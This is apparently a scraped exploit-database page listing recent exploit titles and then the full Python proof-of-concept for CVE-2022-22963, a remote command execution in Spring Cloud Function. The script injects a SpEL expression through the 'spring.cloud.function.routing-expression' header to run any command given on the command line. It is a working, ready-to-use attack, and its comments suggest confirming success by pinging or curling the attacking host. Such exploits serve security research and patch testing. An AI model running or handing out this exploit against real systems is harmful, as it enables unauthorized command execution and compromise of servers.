00f5021452
10 changes to exploits/shellcodes/ghdb Ateme TITAN File 3.9 - SSRF File Enumeration Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS) Spring Cloud 3.2.2 - Remote Command Execution (RCE) BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS) Park Ticketing Management System 1.0 - 'viewid' SQL Injection Park Ticketing Management System 1.0 - 'viewid' SQL Injection Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated) AVG Anti Spyware 7.5 - Unquoted Service Path _AVG Anti-Spyware Guard_ Game Jackal Server v5 - Unquoted Service Path _GJServiceV5_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTAgentService_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTSchedulerService_
23 lines
No EOL
1.1 KiB
Python
Executable file
23 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
|
|
# Date: 07/07/2023
|
|
# Exploit Author: GatoGamer1155, 0bfxgh0st
|
|
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/
|
|
# Description: Exploit to execute commands exploiting CVE-2022-22963
|
|
# Software Link: https://spring.io/projects/spring-cloud-function
|
|
# CVE: CVE-2022-22963
|
|
|
|
import requests, argparse, json
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
|
|
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)
|
|
args = parser.parse_args()
|
|
|
|
print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")
|
|
|
|
headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
|
|
data = {"data": ""}
|
|
|
|
request = requests.post(args.url, data=data, headers=headers)
|
|
response = json.dumps(json.loads(request.text), indent=2)
|
|
print(response) |